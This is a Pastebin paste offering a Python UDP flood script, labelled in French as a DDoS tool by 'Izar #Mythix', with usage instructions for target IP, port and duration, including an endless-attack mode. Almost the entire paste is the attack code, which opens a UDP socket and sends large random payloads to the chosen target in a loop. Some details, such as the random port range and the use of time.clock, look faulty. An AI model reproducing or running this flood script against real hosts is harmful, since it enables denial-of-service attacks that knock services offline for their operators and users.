Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ===============================================================================================================
- ============================================ Informations =====================================================
- Type : DDoS With UDP Flood
- Language : Python
- Commande : izar.py <ip> <port> <temps>
- 80 pour le port par default
- -1 pour une attaque à durée infinie
- ===============================================================================================================
- ============================================= Le script =======================================================
- #!/usr/bin/python
- import socket,random,sys,time
- if len(sys.argv)==1:
- sys.exit('Usage: izar.py <adresse ip> <port> <temps> | Mettre 80 pour les adresses ip classiques, mettre -1 dans le temps pour le mode infini')
- def UDPFlood():
- port = int(sys.argv[2])
- randport=(True,False)[port==0]
- ip = sys.argv[1]
- dur = int(sys.argv[3])
- clock=(lambda:0,time.clock)[dur>0]
- duration=(1,(clock()+dur))[dur>0]
- print('Attaque lancer sur %s:%s pour %s secondes !'%(ip,port,dur or 'infinite'))
- sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
- bytes=random._urandom(65500)
- while True:
- port=(random.randint(1,15000000),port)[randport]
- if clock()<duration:
- sock.sendto(bytes,(ip,port))
- else:
- break
- print('DONE')
- UDPFlood()
- ===============================================================================================================
- Script DDoS By Izar #Mythix
- ===============================================================================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement